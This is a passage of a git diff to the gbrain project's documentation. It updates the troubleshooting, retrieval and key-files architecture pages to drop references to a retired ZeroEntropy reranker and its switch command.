-## Troubleshooting
-
-| Symptom | Likely cause | Fix |
-|---|---|---|
-| `embedding_config` probe says invalid dim | Defaulting to 1536 (OpenAI default) | Set `embedding_dimensions` to one of 2560/1280/640/320/160/80/40 |
-| `reranker_config` probe says model not in allowlist | Typo in `search.reranker.model` | For a ZeroEntropy reranker use `zeroentropyai:zerank-2` / `zerank-1` / `zerank-1-small`; or `gbrain config unset search.reranker.model` to fall back to the bundle default `voyage:rerank-2.5` |
-| `reranker_health` says enabled but NOT running (`<KEY> not set`) | The resolved reranker's provider key is absent — search fails open in RRF order, one `no_key` audit row per process, nothing on stderr | `export VOYAGE_API_KEY=…` for the default (or `ZEROENTROPY_API_KEY` for an explicit ZE model), or `gbrain config set search.reranker.enabled false` |
-| `reranker_health` doctor warns about auth failures | Key present but rejected (HTTP 401/403) | Re-export a valid key; `gbrain models doctor` to verify |
-| `reranker_health` doctor warns about transient failures | Upstream flake or rate limit | Reranker fails open to RRF; check the provider's status page if persistent |
-| Cache reports disabled after upgrade | Semantic result caching is temporarily disabled | Budget for fresh retrieval; waiting for the TTL or changing cache settings does not restore it |
diff --git a/docs/architecture/KEY_FILES.md b/docs/architecture/KEY_FILES.md
index 66447f8848..4556f163a0 100644
--- a/docs/architecture/KEY_FILES.md
+++ b/docs/architecture/KEY_FILES.md
@@ -28,7 +28,7 @@ boundary and add its link here rather than raising the cap.
| [Commands (3/6)](key-files/commands-3.md) | `src/commands/engine-status.ts` through `src/commands/frontmatter-install-hook.ts` |
| [Commands (4/6)](key-files/commands-4.md) | `src/commands/graph-query.ts` through `src/commands/reindex-search-vector.ts` |
| [Commands (5/6)](key-files/commands-5.md) | `src/commands/reindex.ts` through `src/commands/storage.ts` |
-| [Commands (6/6)](key-files/commands-6.md) | `src/commands/sync.ts` through `src/commands/ze-switch.ts` |
+| [Commands (6/6)](key-files/commands-6.md) | `src/commands/sync.ts` through `src/commands/whoknows.ts` |
| [Core Ai](key-files/core-ai.md) | `src/core/ai/build-gateway-config.ts` through `src/core/ai/types.ts` |
| [Core Cycle](key-files/core-cycle.md) | `src/core/cycle/anomaly.ts` through `src/core/cycle/triage-rescue.ts` |
| [Core Minions (1/2)](key-files/core-minions-1.md) | `src/core/minions/` through `src/core/minions/rss-default.ts` |
@@ -39,7 +39,7 @@ boundary and add its link here rather than raising the cap.
| [Core Services (2/3)](key-files/core-services-2.md) | `src/core/conversation-parser/` through `src/core/progressive-batch/` |
| [Core Services (3/3)](key-files/core-services-3.md) | `src/core/think/index.ts` through `src/core/verbs/usage-log.ts` |
| [Core Utilities (1/2)](key-files/core-utilities-1.md) | `src/core/archive-crawler-config.ts` through `src/core/remediation-checkpoint.ts` |
-| [Core Utilities (2/2)](key-files/core-utilities-2.md) | `src/core/rerank-audit.ts` through `src/core/ze-exposure.ts` |
+| [Core Utilities (2/2)](key-files/core-utilities-2.md) | `src/core/rerank-audit.ts` through `src/core/verbs.ts` |
| [Engines (1/2)](key-files/engines-1.md) | `src/core/connection-manager.ts` through `src/core/pglite-repair.ts` |
| [Engines (2/2)](key-files/engines-2.md) | `src/core/pglite-resetwal.ts` through `src/core/worker-pool.ts` |
| [Entrypoints And Docs](key-files/entrypoints-and-docs.md) | `.agents/gbrain-launcher` through `templates/` |
diff --git a/docs/architecture/RETRIEVAL.md b/docs/architecture/RETRIEVAL.md
index 86c020de65..c91de6f74a 100644
--- a/docs/architecture/RETRIEVAL.md
+++ b/docs/architecture/RETRIEVAL.md
@@ -57,7 +57,7 @@ Heuristic link-type inference (`attended`, `works_at`, `invested_in`, `founded`,
## Cross-encoder reranker: 60% top-1 reshuffle
-The reranker is on for the `balanced` and `tokenmax` mode bundles, off for `conservative`. The mode-bundle default is Voyage `rerank-2.5` (`DEFAULT_RERANKER_MODEL`, same `VOYAGE_API_KEY` as the embedding default); a brain with no `search.reranker.model` row reranks with it. Without the key, search fails open in RRF order: the gateway skips the HTTP call (`RerankError('no_key')`), writes ONE audit row per process, prints nothing, and stamps `reranker_skipped (no_key)` on the search meta — `gbrain search --explain` shows it, `gbrain search modes` prints a `Reranker:` readiness line, and `gbrain doctor`'s `reranker_health` names the fix (`export VOYAGE_API_KEY=…` or `gbrain config set search.reranker.enabled false`). Keyed installs without a Voyage key get reranking explicitly disabled at init. An explicit ZeroEntropy `zerank-*` config (`LEGACY_DEFAULT_RERANKER_MODEL`; hosted API ends 2026-09-04) short-circuits past that date before any HTTP: one audit row per process per model plus a single stderr line naming the switch command, and `gbrain doctor`'s `provider_sunset` check explains the state; a `base_urls` recipe override (self-hosted wire-compatible endpoint) suppresses the short-circuit. The retained query-cache key includes `reranker_model`; persisted result reuse is disabled until every response dependency can be verified. On a real-corpus benchmark across 20 queries, the cross-encoder reshuffled **60% of top-1 results** after the hybrid + RRF + graph stack (measured on zerank-2). The Voyage default's paired LongMemEval numbers live in [`docs/eval-bench.md`](../eval-bench.md#public-benchmarks-longmemeval).
+The reranker is on for the `balanced` and `tokenmax` mode bundles, off for `conservative`. The mode-bundle default is Voyage `rerank-2.5` (`DEFAULT_RERANKER_MODEL`, same `VOYAGE_API_KEY` as the embedding default); a brain with no `search.reranker.model` row reranks with it. Without the key, search fails open in RRF order: the gateway skips the HTTP call (`RerankError('no_key')`), writes ONE audit row per process, prints nothing, and stamps `reranker_skipped (no_key)` on the search meta — `gbrain search --explain` shows it, `gbrain search modes` prints a `Reranker:` readiness line, and `gbrain doctor`'s `reranker_health` names the fix (`export VOYAGE_API_KEY=…` or `gbrain config set search.reranker.enabled false`). Keyed installs without a Voyage key get reranking explicitly disabled at init. The retained query-cache key includes `reranker_model`; persisted result reuse is disabled until every response dependency can be verified. On a real-corpus benchmark across 20 queries, the cross-encoder reshuffled **60% of top-1 results** after the hybrid + RRF + graph stack (historical measurement on the retired hosted reranker, not Voyage; original identifiers are preserved at Git revision `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`, retained on 2026-09-23). The Voyage default's paired LongMemEval numbers live in [`docs/eval-bench.md`](../eval-bench.md#public-benchmarks-longmemeval).
The mechanical reason: hybrid ranking is locally optimal per strategy but globally suboptimal. A cross-encoder reranker reads the query + each candidate document jointly, with full attention. It catches the cases where the vector + keyword + graph signals all agreed on a document that's semantically related but topically wrong.
diff --git a/docs/architecture/key-files/commands-2.md b/docs/architecture/key-files/commands-2.md
index 0434177111..7711b4ce75 100644
--- a/docs/architecture/key-files/commands-2.md
+++ b/docs/architecture/key-files/commands-2.md
@@ -19,7 +19,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/commands/doctor/checks/routing-federation.ts` — `checkOauthClientScopeHealth` (`oauth_client_scope_health`, re-exported by the doctor.ts façade) has three warn arms: (a) dangling federated read grants, (b) orphaned empty `<name>-workspace` sources, (c) privileged self-registered clients — active `oauth_clients` rows whose scope word-matches `DCR_PRIVILEGED_SCOPES` — the DERIVED complement `ALLOWED_SCOPES_LIST \ DCR_REGISTRABLE_SCOPES` (exported; bound as a `$1` regex parameter, never interpolated) — and the `(read/write)` / `--scopes read,write` copy is built from `DCR_REGISTRABLE_SCOPES`; pinned by the set-equality + per-scope loop in `test/doctor-oauth-client-scope-health.test.ts`; rows with `grant_revision = 0` and no `oauth_grant_audit` row with `action = 'register'` (every operator path writes one; the anonymous DCR insert does not). Arm (c) is advisory (the signature also matches operator clients that predate the grant audit log) and carries the `gbrain auth rescope-client <client_id> --scopes read,write` / `gbrain auth revoke-client <client_id>` remedy; when the audit table or `grant_revision` column is absent it fails OPEN and the ok message states the self-registered-client audit was skipped (unknown). Pinned by `test/doctor-oauth-client-scope-health.test.ts`.
-- `src/commands/doctor/checks/search-eval.ts` — search, model, and AI-config health checks. `checkChatFallbackChainInert` returns one warning when either the effective file/environment config or the DB plane has a non-empty `chat_fallback_chain`; it returns `null` when both are empty, so clean doctor reports add no line. The local and remote doctor registries both consume the check. `checkSearchMode` (`search_mode`) reports the resolved mode and its `search.*` overrides; when the only override is an explicit `search.reranker.model` row equal to the mode bundle's own default (a row an init may have written on Voyage installs) it is called redundant with the precise `gbrain config unset search.reranker.model` — never a `--reset`, which would also wipe every other tuned search knob — and overrides that keep a brain OFF a sunsetting bundle default are never reset-nagged (a reset would re-arm a dying provider).
+- `src/commands/doctor/checks/search-eval.ts` — search, model, and AI-config health checks. `checkChatFallbackChainInert` returns one warning when either the effective file/environment config or the DB plane has a non-empty `chat_fallback_chain`; it returns `null` when both are empty, so clean doctor reports add no line. The local and remote doctor registries both consume the check. `checkSearchMode` (`search_mode`) reports the resolved mode and its `search.*` overrides; when the only override is an explicit `search.reranker.model` row equal to the mode bundle's own default (a row an init may have written on Voyage installs) it is called redundant with the precise `gbrain config unset search.reranker.model` — never a `--reset`, which would also wipe every other tuned search knob.
- `src/commands/dream-retriage.ts` — `gbrain dream retriage`: re-scores the corpus via the shared `runTriagePass` (with `maxMs: 0` — operator sweeps run to completion; `--limit` slices the discovered list caller-side) and reconciles the queued private-queue backlog: synth-v2 rows verdict-gated, plus any row stranded in a provably-dead `dream-inline-*` queue regardless of key family (patterns children, legacy grammars) — doctor's orphaned_private_queue check points here, so the repair selects everything the check can flag. Liveness uses ownership correlation (mirrors the doctor check): a live `gbrain_cycle_locks` row suppresses conversion only for queues born at/after its `acquired_at`; an older crashed cycle's queue stays repairable while a new cycle runs (unknown birth/acquisition stays fail-safe possibly-live). Spend-gated: upfront estimate via `canonicalLookup` on the resolved triage model, confirmation above `SPEND_CONFIRM_USD` ($5, in `dream-retriage-constants.ts`; unpriced models gate on `UNPRICED_CONFIRM_FILES`=500) unless `--yes` (`--json` non-interactive requires `--yes` above the gate); `--max-usd` soft-stops via the pass's `shouldStop` seam (estimate-based). `--reconcile-queue` (opt-in — cancels queued work): selects waiting/delayed/paused `dream:synth-v2:%` jobs across ALL queues, parses keys with `parseSynthV2Key`, then per row, reading THE shared gate (`passesTriageGate` from `triage-rescue.ts` — threshold pass OR the verified-segment rescue; a hand-rolled `score >= threshold` here would cancel exactly the jobs the rescue admitted): matched below the gate → cancel; matched above the gate but `waiting` in a stale `dream-inline-*` queue → cancel as `converted_for_resubmit` (the backlog conversion — cancelled rows release their idempotency slot so the next cycle re-adds into a live drain); matched above the gate in a live queue → keep; matched-but-unscored → keep (never cancel on missing data); unmatched → keep unless `--cancel-unmatched`; key-source vs `data.source_id` disagreement → skip + `source_mismatch`; status re-checked immediately before each cancel (rows turned `active` are skipped; residual race matches cancelJob's best-effort contract). Legacy `dream:synth:` keys are excluded at the SQL LIKE filter — never candidates. `--source` scopes cancels (`other_source` counted); `--threshold`/`--since`/`--force`/`--dry-run` (zero judge calls, zero cancels — cached scores only, uncached files report `needs_triage`). `--audit-rejects <n>` re-judges N stride-sampled files that the gate actually REJECTED (below threshold AND not rescued — auditing a rescued file as a rejection would misreport the disagreement rate) with the SYNTHESIS model and reports that rate — the operator calibration loop. Reports carry `rescued`/`verified_segments` so a rescued file reads as accepted everywhere the command renders. Exit 0 success (even when nothing cancelled), 1 no engine/corpus, 2 usage or declined spend gate. Pinned by `test/dream-retriage.test.ts`.
diff --git a/docs/architecture/key-files/commands-4.md b/docs/architecture/key-files/commands-4.md
index 90256434f5..181f454ea3 100644
--- a/docs/architecture/key-files/commands-4.md
+++ b/docs/architecture/key-files/commands-4.md
@@ -19,13 +19,13 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/commands/lint.ts` — Page quality linter (catches LLM artifacts, placeholder dates). `runLintCore(opts)` walks the tree ONCE; `--fix` applies fixes during that same scan and reports per-page results through the `onPageIssues(relPath, issues, fixedCount)` callback (issues = what remains after this run's fix attempt for the page; `fixedCount` = fixes actually applied), so the summary's auto-fixed count is the true count — a second scan run after fixing would see already-fixed files and report zero. `onScanStart` fires once with the collected page count for progress wiring. Pinned by `test/lint-fix-single-pass.test.ts`. On a durability-hardened brain (`isDurabilityHardened` on the target dir, or the page's directory for a single-file target) every non-dry-run `--fix` repair is committed path-limited via `commitWriteThroughFile` right after the `writeFileSync` — the same contract as put_page write-through, so the cycle, the `lint`/`lint-fix` minion handlers and the CLI never leave hardened repairs as uncommitted drift for the sync phase to flag (pinned by `test/cycle-lint-durability.test.ts`). Lint rules `huge-page` (flags pages exceeding `content_sanity.bytes_warn`) and `scraper-junk` (flags pages matching any junk pattern). Both reuse `assessContent()` from `src/core/content-sanity.ts` so lint, doctor, and ingest share one assessor. `lint.ts` lifts DB config when `~/.gbrain/` is reachable; falls back to file/env on CI. Pinned by `test/lint-content-sanity.test.ts`. with `src/commands/sources.ts`: `gbrain lint` has a `markup-heavy` rule (flags pages whose prose-vs-markup ratio exceeds `content_sanity.max_markup_ratio`, reusing `assessContentSanity` so lint/gate/scan share one assessor); pinned by `test/lint-content-sanity.test.ts`. `gbrain sources audit <id>` is disposition-aware: its dry-run disk scan reports would-quarantine / would-reject / would-flag counts driven by the effective `content_sanity.junk_disposition` + markup config, so an operator previews the gate's verdict before sync. The `content-sanity-audit` JSONL (`src/core/audit/content-sanity-audit.ts`) records the quarantine/flag dispositions.
-- `src/commands/migrate-embeddings.ts` — `gbrain migrate embeddings --to <provider:model> [--dim N] [--dry-run] [--yes] [--json] [--no-embed] [--status] [--reranker auto|off|keep|<model>] [--retarget] [--batch-size N] [--pace[=mode]] [--ignore-env-override] [--force-sunset-target]` (alias: `gbrain retrieval-upgrade`, slated for removal). ONE shared orchestrator for CLI and the `migrate_embeddings` op: `planMigrationFlow` (plan + `verifyMigrationComplete` + env presence + un-merged file plane + brain/DB identity via `redactPgUrl` + concurrent-writer census + reranker plan + in-flight-other marker) and `executeMigrationFlow` (global `gbrain-embedding-migration` DbLock → retarget gate under it → all-source embed locks sorted with `includeArchived` → live embed probe → apply → reranker probe + switch → drain via `runEmbedCore({heldLocks, …})` so the migration never lock_skips itself, with a 5-min heartbeat whose refresh-false/3-errors ABORTS as `lock_lost` → reconcile → completion smoke check stamped into the marker → transactional complete; locks released in finally). The skip path exits 0 ONLY on `verify.complete` with no pending retarget decision and no pending reranker action (a resolved switch/disable runs as a config-only completion). `--status` is read-only/spend-free and never refuses on env (it REPORTS planes, key PRESENCE booleans only, censuses, markers verbatim incl. corrupt, the exact resume command, and the last completion + smoke-check outcome). `persistEmbeddingFileConfig` writes through `loadConfigFileOnly` (never persists env-sourced keys) and supports env-canonical no-file deployments (env pins target ⇒ proceed with notice). Exit codes: 0 completed/verified-no-work, 1 locked/refused/failed/incomplete (message names which; lock_skipped and lock_lost get their own copy), 2 non-TTY without `--yes`. Pinned by `test/migrate-embeddings-flow.serial.test.ts`, `test/migrate-embeddings-boundary.serial.test.ts`, `test/migrate-embeddings-hardening.serial.test.ts`. Discovery surfaces all render the canonical command from `renderCanonicalMigrationCommands` (`src/core/ai/defaults.ts`): gateway deprecation line, init warnings, upgrade ACTION REQUIRED banner, doctor `provider_sunset`, ze-switch refusal, advisor — drift-guarded by `test/canonical-migration-command.test.ts`; the shutdown date lives once as `ZEROENTROPY_SUNSET_DATE` in `defaults.ts`.
+- `src/commands/migrate-embeddings.ts` — `gbrain migrate embeddings --to <provider:model> [--dim N] [--dry-run] [--yes] [--json] [--no-embed] [--status] [--reranker auto|off|keep|<model>] [--retarget] [--batch-size N] [--pace[=mode]] [--ignore-env-override]` (alias: `gbrain retrieval-upgrade`). ONE shared orchestrator for CLI and the `migrate_embeddings` op: `planMigrationFlow` (plan + `verifyMigrationComplete` + env presence + un-merged file plane + brain/DB identity via `redactPgUrl` + concurrent-writer census + reranker plan + in-flight-other marker) and `executeMigrationFlow` (global `gbrain-embedding-migration` DbLock → retarget gate under it → all-source embed locks sorted with `includeArchived` → live embed probe → apply → reranker probe + switch → drain via `runEmbedCore({heldLocks, …})` so the migration never lock_skips itself, with a 5-min heartbeat whose refresh-false/3-errors ABORTS as `lock_lost` → reconcile → completion smoke check stamped into the marker → transactional complete; locks released in finally). The skip path exits 0 ONLY on `verify.complete` with no pending retarget decision and no pending reranker action (a resolved switch/disable runs as a config-only completion). `--status` is read-only/spend-free and never refuses on env (it REPORTS planes, key PRESENCE booleans only, censuses, markers verbatim incl. corrupt, the exact resume command, and the last completion + smoke-check outcome). `persistEmbeddingFileConfig` writes through `loadConfigFileOnly` (never persists env-sourced keys) and supports env-canonical no-file deployments (env pins target ⇒ proceed with notice). Exit codes: 0 completed/verified-no-work, 1 locked/refused/failed/incomplete (message names which; lock_skipped and lock_lost get their own copy), 2 non-TTY without `--yes`. Pinned by `test/migrate-embeddings-flow.serial.test.ts`, `test/migrate-embeddings-boundary.serial.test.ts`, `test/migrate-embeddings-hardening.serial.test.ts`. Migration guidance uses `renderCanonicalMigrationCommands` (`src/core/ai/defaults.ts`) to keep supported targets and dimensions consistent.
- `src/commands/migrate-engine.ts` — Bidirectional engine migration (`gbrain migrate --to supabase/pglite`). Copies the complete source catalog FIRST (`copyMigrationSources` — every `sources` row incl. archived rows and sync/routing metadata, `ON CONFLICT (id) DO UPDATE`, `default` ordered first) so every page write has a valid `pages.source_id` FK parent and the target preserves per-source behavior; pages copy afterward, tracked in the resume manifest by composite `(source_id, slug)` key. Link copy preserves each row's `to_source_id` (falling back to the origin source only for legacy rows without it), and failed-target filtering uses that same target composite key, so cross-source links migrate without being rebound to the origin source. The resume manifest is target-aware: `migrationTargetId(config)` hashes `(engine, locator)` (`database_url` for Postgres, resolved `database_path` for PGLite) and `manifestMatchesTarget` requires `schema_version === 2` plus a matching `target_id` — a legacy engine-only manifest, or one from a DIFFERENT target of the same engine kind, starts fresh instead of skipping "completed" pages the new target never received. After links, `copyMigrationFacts` carries the facts table verbatim (conversation facts have no markdown fence to re-sync from): source∩target column intersection via information_schema (older source schemas still copy), delete-and-recopy so every re-run converges to source truth, two-pass `superseded_by` restore (the self-FK points old→newer id, so id-ordered single-pass inserts would violate it), embeddings round-tripped as text into whichever physical type (`vector`/`halfvec`) the target column has with a NULL-embedding retry on per-row cast failure, and a `setval` bump so post-migration inserts don't collide with copied ids; fact-row failures block the config flip and force a non-zero exit, same contract as page failures. Takes are deliberately NOT copied (fence-canonical, keyed on target-reassigned `page_id`; the next extract cycle rebuilds them). `copyMigrationConfig` then copies EVERY DB-plane config row except the explicit engine-local denylist `MIGRATE_CONFIG_ENGINE_LOCAL_KEYS` (`engine`, `version` = target-owned schema ledger, `embedding_columns` + `search_embedding_column` = physical-column registry the copy doesn't materialize); skipped keys print in the end-of-run per-table copied-count summary, so nothing is dropped silently. Pinned by `test/migrate-engine-resume.test.ts` (manifest identity) + `test/e2e/migrate-engine-sources-postgres.test.ts` (source catalog lands before overlapping-slug pages, PGLite → real Postgres) + `test/e2e/multi-source-bug-class.test.ts` (cross-source links) + `test/migrate-engine-completeness.serial.test.ts` (facts chains/embeddings/sequence, config copy-all + denylist, summary). Legacy engine copies explicitly include stored unverified chunks and queue sanitized text rebuilding under the target revision; retrieval stays gated until rebuilt. Both source and target refuse any durable request history, withdrawal ledger, or ownership record before copying/clearing because this copier cannot preserve those identities.
- `src/commands/migrations/` — TS migration registry (compiled into the binary; no runtime walk of `skills/migrations/*.md`). `index.ts` lists migrations in semver order. `v0_11_0.ts` = Minions adoption orchestrator (8 phases). `v0_12_0.ts` = Knowledge Graph auto-wire orchestrator (5 phases: schema → config check → backfill links → backfill timeline → verify); `phaseASchema` has a 600s timeout for duplicate-heavy brains. `v0_12_2.ts` = JSONB double-encode repair orchestrator (4 phases: schema → repair-jsonb → verify → record). `v0_14_0.ts` = shell-jobs + autopilot cooperative (pending-host-work ping for skills/migrations/v0.14.0.md). All orchestrators are idempotent and resumable from `partial` status. The RUNNER owns all ledger writes — orchestrators return `OrchestratorResult` and `apply-migrations.ts` persists a canonical `{version, status, phases}` shape (orchestrators never call `appendCompletedMigration`). `statusForVersion` prefers `complete` over `partial` (never regresses); 3 consecutive partials → wedged → `--force-retry <version>` writes a `'retry'` reset marker. Schema-only migrations v14 (`pages_updated_at_index`) + v15 (`minion_jobs_max_stalled_default_5` with UPDATE backfill) live in the `MIGRATIONS` array in `src/core/migrate.ts`. `in-process.ts` exports `runMigrateOnlyCore({timeoutMs?})` — single source of truth for "bring schema to head" (`configureGateway` → `createEngine` → `connect` → `initSchema` → `disconnect`, idempotent, 600s `MIGRATE_ONLY_TIMEOUT_MS` guard, throws `MigrateOnlyError` on no-config / timeout); the orchestrators' 9 schema phases AND `init.ts:initMigrateOnly` both delegate to it so schema bring-up can't drift (in-process, so no spawn can die with `getaddrinfo ENOTFOUND` on Windows + bun + Supabase pooler). `runGbrainSubprocess` is the diagnostic wrapper for the remaining non-schema spawns (extract/repair/stats): captures child stderr (64MB buffer) into the thrown error. `v0_13_1.ts:phaseCGrandfather` is a CHUNKED bulk SQL pass keyed on `pages.id` (globally unique PK, NOT slug — slug uniqueness is `(source_id, slug)`), filters `deleted_at IS NULL` (no tombstones), chunked in `CHUNK_SIZE` batches (DELETE_BATCH_SIZE convention) for bounded lock-hold; the rollback log carries `{id, slug, source_id, pre_frontmatter}` so rollback is unambiguous across sources; idempotent + resumable (each UPDATE flips its rows out of `GRANDFATHER_WHERE`). Pinned by `test/migration-in-process.serial.test.ts` and `test/migrations-v0_13_1-grandfather.test.ts`.
-- `src/commands/migrations/v0_46_3.ts` — ZeroEntropy sunset notice migration, detect-and-notify ONLY. Detects the HOST brain's exposure via `src/core/ze-exposure.ts` (read-only); when exposed — or when exposure is UNKNOWN, fail-safe — prints the ACTION REQUIRED banner and appends one idempotent entry to `~/.gbrain/migrations/pending-host-work.jsonl` pointing the host agent at `skills/migrations/v0.46.3.0.md`. Performs NO config writes, NO pinning, and never invokes `migrate embeddings` (the migration costs money and needs a target key — that decision belongs to the user/agent via the playbook). UNKNOWN returns `complete` with an `exposure_unknown` detail rather than `partial` (three consecutive partials would wedge the whole migration chain behind `--force-retry`); the stage-2 upgrade banner and `gbrain doctor` carry the ongoing nag instead. Host-scoped (apply-migrations runs once per host with a global completed.jsonl); mounted/team brains are covered by the per-brain stage-2 banner (`ze_sunset_notice_v2_shown` in each brain's own DB config) + doctor gates.
+- `src/commands/migrations/v0_46_3.ts` — idempotent no-op for a retired notification. Returns a complete migration with a skipped notice phase; performs no database, config, provider, vector or pending-work writes. Its feature pitch points to read-only status and explicit-target migration previews.
- `src/commands/models.ts` — `gbrain models [--json]` read-only routing dashboard: prints tier defaults (`utility`/`reasoning`/`deep`/`subagent`), the resolved value for each (re-walking the resolution chain), every per-task override (14 `PER_TASK_KEYS`, including provider-neutral `models.contextual_synopsis` with legacy-key/env attribution and `models.dream.extract_atoms` which reports via its own caller-specific resolver — `resolveExtractAtomsModel()` in `extract-atoms.ts` — rather than the generic chain, so the report can't diverge from what the phase actually calls), the alias map, and a source-of-truth column (`default` / `config: <key>` / `env: <VAR>`). `gbrain models doctor [--skip=<provider>] [--json]` fires a 1-token `gateway.chat()` probe against each configured chat + expansion model and classifies failures into `{model_not_found, auth, rate_limit, network, unknown}`. The probe timeout resolves per model via `resolveChatProbeTimeoutMs` — the recipe touchpoint's `default_timeout_ms` when declared, else the flat 5000ms default (mirrors the reranker probe's recipe-default fallback; `claude-cli` declares 30s because its `claude -p` subprocess cold start routinely outruns 5s and would false-fail every run as `unknown`). Wired into `cli.ts` dispatch + `CLI_ONLY` set. A zero-token `embedding_config` probe runs FIRST, before any chat/expansion probes spend money: `probeEmbeddingConfig()` reads `getEmbeddingModel()` + `getEmbeddingDimensions()` and (for Voyage flexible-dim models) checks `isValidVoyageOutputDim(dims)` against `VOYAGE_VALID_OUTPUT_DIMS`. `ProbeStatus` variant `'config'` + optional `fix?: string` on `ProbeResult` surface a paste-ready `gbrain config set ...` line in human + JSON output; touchpoint label `'embedding_config'` joins `'chat'` and `'expansion'`.
@@ -41,7 +41,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/commands/protocol.ts` — `gbrain protocol [--json] | conformance [--target <http-url|stdio-cmd>] [--token] [--synthesize] | stats [--days N]`. `--json` emits input schemas from the LIVE Operation defs + RESPONSE_SCHEMAS (doc/code can't drift). Conformance default target self-spawns gbrain's own stdio server (dev `.ts` entry vs compiled binary both handled); CI certifies stdio with --synthesize (no key ⇒ asserts the clean `unavailable` error). Stats aggregates the usage sidecar + the measured TTHW; output states "local JSONL only — never uploaded". CLI_ONLY + SELF_HELP wired in cli.ts; no pre-bound engine.
-- `src/commands/providers.ts` — `gbrain providers list | test [--touchpoint T] [--model ID] | env <id> | explain [--json]`: provider-recipe discovery + smoke-testing over the recipe registry. `list` renders `formatRecipeTable` against the SAME env the gateway actually sees (`buildGatewayConfig(cfg).env`, file-plane keys folded in) so the STATUS column matches what `providers test` and init would report. Home of the ONE shared sunset-marker primitive (`sunsetMarkerText`/`sunsetMarker`, generic on `recipe.sunset` — any future provider sunset inherits it) consumed by all three human-facing renderings so they can't drift: the `list` status cell, `explain` rows (lead marker is ⚠ regardless of key readiness — never a green ready-check on a sunsetting provider), and the `env` block, where the pure `formatEnvOutput(recipe, env)` (testable without spawning the CLI) replaces the signup funnel (`setup_url`/`setup_hint`) with the deprecation notice, replacement models, and the canonical migration command from `renderCanonicalMigrationCommands` — key STATUS still renders for existing users. Pinned by `test/providers.test.ts`.
+- `src/commands/providers.ts` — `gbrain providers list | test [--touchpoint T] [--model ID] | env <id> | explain [--json]`: provider-recipe discovery + smoke-testing over the recipe registry. `list` renders `formatRecipeTable` against the SAME env the gateway actually sees (`buildGatewayConfig(cfg).env`, file-plane keys folded in) so the STATUS column matches what `providers test` and init would report. The pure `formatEnvOutput(recipe, env)` renders required keys, setup hints and endpoints; `explain --json` returns the recipe capability matrix without exposing key values. Pinned by `test/providers.test.ts`.
- `src/commands/publish.ts` — Deterministic brain page publisher (code+skill pair, zero LLM calls)
diff --git a/docs/architecture/key-files/commands-6.md b/docs/architecture/key-files/commands-6.md
index a5d9548322..f7ab5ac876 100644
--- a/docs/architecture/key-files/commands-6.md
+++ b/docs/architecture/key-files/commands-6.md
@@ -14,5 +14,3 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/commands/watch.ts` — `gbrain watch`: the push transport. Reads turns from stdin as they arrive (`user:`/`assistant:` prefixes; unprefixed = user turn), keeps a rolling in-process window (`--window-turns`, default 4), calls `volunteerContext` per turn, streams pointers to stdout (`--json` for JSONL with turn attribution), logs `channel: 'watch'` events with a per-session id. Session dedupe feeds already-pushed slugs back as priorContext so the core's slug-only suppression dedupes. Blocks in the stdin iteration (interactive alive until Ctrl-C/Ctrl-D; piped ends at EOF) — deliberately NOT in DAEMON_COMMANDS; SIGINT closes the stream so teardown flows through finishCliTeardown. Per-turn resolution failures are fail-open. Registered in CLI_ONLY + CLI_ONLY_SELF_HELP + THIN_CLIENT_REFUSED_COMMANDS (thin clients use the `volunteer_context` MCP op). Pinned by `test/watch-command.test.ts`.
- `src/commands/whoknows.ts` — `gbrain whoknows <topic>` and MCP `find_experts`: expertise and relationship routing. `findExperts()` threads source, page-privacy and holder policy through hybrid retrieval and enrichment, then requires an authorized effective-date read after optional salience work for every caller, including trusted local callers. Candidates absent from that exact `(source_id, slug)` map are omitted; required admission failures propagate. Optional salience failures retain the existing neutral factor. `rankCandidates()` uses `score = log(1 + raw_match) × max(0.1, exp(-days/180)) × (0.5 + 0.5 × salience)`, with salience normalized before ranking and alphabetical slug tie-breaking. Hybrid salience/recency boosts are disabled here to avoid applying them twice. Expert types are filtered in SQL and resolved from the pack by `ops/insights.ts`; a failed pack load supplies an empty type list. CLI supports `--explain`, `--limit`, `--json` and thin-client routing. Math is pinned by `test/whoknows.test.ts`; exact final admission, mutation races and SQL-failure behavior run on both engines in `test/e2e/read-enrichment-privacy.test.ts`.
-
-- `src/commands/ze-switch.ts` — pure refusal/redirect shim for the sunset ZeroEntropy switch. Every invocation refuses or redirects with exit 1 and `reason: 'provider_sunset'`, printing the off-ramp (`gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run`); the `--json` refusal envelope is `{status:'refused', reason:'provider_sunset', migrate, migrate_preview, message}` (live command + cost preview, each carrying an explicit `--brain` suffix); `--undo` REDIRECTS (reads the `ze_switch_previous_snapshot` config row and prints the exact migrate command that returns the brain to its pre-switch provider — `{status:'redirected', reason:'provider_sunset', undo_command, undo_preview, message}` in `--json`; missing/corrupt snapshot degrades to the refusal); `--help` answers engine-free via `CLI_ONLY_SELF_HELP` + the `SELF_HELP_WITHOUT_ENGINE` wrapper in cli.ts (exit 0, truthful sunset copy). Its flags stay REGISTERED (quoted literals feed the generated registry row) so existing scripts reach the refusal instead of a pre-dispatch unknown-flag error — the shim never consults them. Nothing here mutates the brain. The whole command is slated for removal after the sunset. Pinned by `test/ze-switch-cli.test.ts` + `test/cli-help-without-brain.serial.test.ts`.
diff --git a/docs/architecture/key-files/core-ai.md b/docs/architecture/key-files/core-ai.md
index b9de9007da..70b9998560 100644
--- a/docs/architecture/key-files/core-ai.md
+++ b/docs/architecture/key-files/core-ai.md
@@ -7,11 +7,11 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
